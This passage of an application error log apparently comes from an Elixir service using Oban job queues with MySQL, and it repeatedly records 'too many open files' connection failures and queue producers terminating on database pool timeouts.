    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:26:32.241461Z], limit: 20, uuid: "c9701816-372e-4012-a375-7b67663524b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.241466Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60081>, refresh_timer: #Reference<0.2525715032.1068498948.60073>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:46.941000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:49.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:49.656000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:50.989000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:52.221000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:54.135000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:56.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:26:44.239772Z], limit: 3, uuid: "eecffb41-db92-45b8-9a8b-866a7e36c7a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.239778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60389>, refresh_timer: #Reference<0.2525715032.1121189889.189812>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:26:44.240900Z], limit: 5, uuid: "32ff3470-d685-4dbb-83c8-f2549089acdc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.240905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60386>, refresh_timer: #Reference<0.2525715032.1121189889.189839>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:26:44.241562Z], limit: 10, uuid: "d5371871-4e99-402a-b58f-ef1d0b2e1c34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.241569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60385>, refresh_timer: #Reference<0.2525715032.1121189889.189851>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:26:44.240290Z], limit: 50, uuid: "a4ef369d-14a6-459f-9035-415ebf133981", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.240296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60388>, refresh_timer: #Reference<0.2525715032.1121189889.189823>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:26:44.238704Z], limit: 5, uuid: "071e6a81-6ad6-4234-9538-f79ce53fdf37", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.238711Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60387>, refresh_timer: #Reference<0.2525715032.1121189889.189801>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:26:44.241958Z], limit: 20, uuid: "0bc44f2d-9706-4cae-be93-d87de7ced6c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:44.241963Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60384>, refresh_timer: #Reference<0.2525715032.1121189889.189854>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:59.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:00.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:02.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:04.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:06.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:26:56.239909Z], limit: 20, uuid: "2c8aade0-a8f5-495d-9c4c-bcdd8bfaebc5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.239915Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.190091>, refresh_timer: #Reference<0.2525715032.1099431938.58667>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:26:56.239082Z], limit: 5, uuid: "bf87eee4-fdaf-4d39-91de-1d56a1874aee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.239087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60697>, refresh_timer: #Reference<0.2525715032.1099431938.58659>, dispatch_cooldown: 5, running: %{}}
